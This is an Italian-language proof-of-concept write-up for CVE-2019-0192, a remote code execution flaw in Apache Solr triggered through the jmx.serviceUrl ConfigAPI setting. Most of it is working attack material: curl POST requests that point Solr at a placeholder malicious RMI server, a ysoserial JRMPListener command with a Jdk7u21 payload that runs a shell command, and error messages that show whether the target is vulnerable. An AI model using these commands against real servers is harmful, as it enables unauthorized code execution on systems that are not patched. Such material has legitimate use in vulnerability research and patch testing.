
RCE su Apache Solr tramite deserializzazione di dati non attendibili via jmx.serviceUrl
Questa è una PoC preliminare della RCE di Apache Solr
Da https://issues.apache.org/jira/browse/SOLR-13301:
ConfigAPI consente di configurare il server JMX di Solr tramite una richiesta HTTP POST. Puntandolo a un server RMI malevolo, un attaccante potrebbe sfruttare la deserializzazione non sicura di Solr per innescare l'esecuzione remota di codice sul lato Solr.

Esaminando la descrizione dell'avviso di sicurezza e controllando le risorse di ConfigAPI di Apache Solr, possiamo trovare un riferimento a un server JMX:

serviceUrl - (str opzionale) URL del servizio per un server JMX. Se non specificato, verrà utilizzato il server MBean predefinito della piattaforma.
Controllando il funzionamento di ConfigAPI possiamo riprodurre come impostare un server JMX remoto:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
Per la PoC userò yoserial per creare un server RMI malevolo usando il payload Jdk7u21
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
nota: dovresti ottenere un errore 500 con un bel stacktrace
Se vedi questo errore: "Non-annotation type in annotation serial stream" significa che Apache Solr è in esecuzione con una versione di Java > JRE 7u25 e questa PoC non funzionerà
Altrimenti dovresti vedere questo errore: "undeclared checked exception; nested exception is" e la PoC dovrebbe funzionare.
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
Avviso di sicurezza: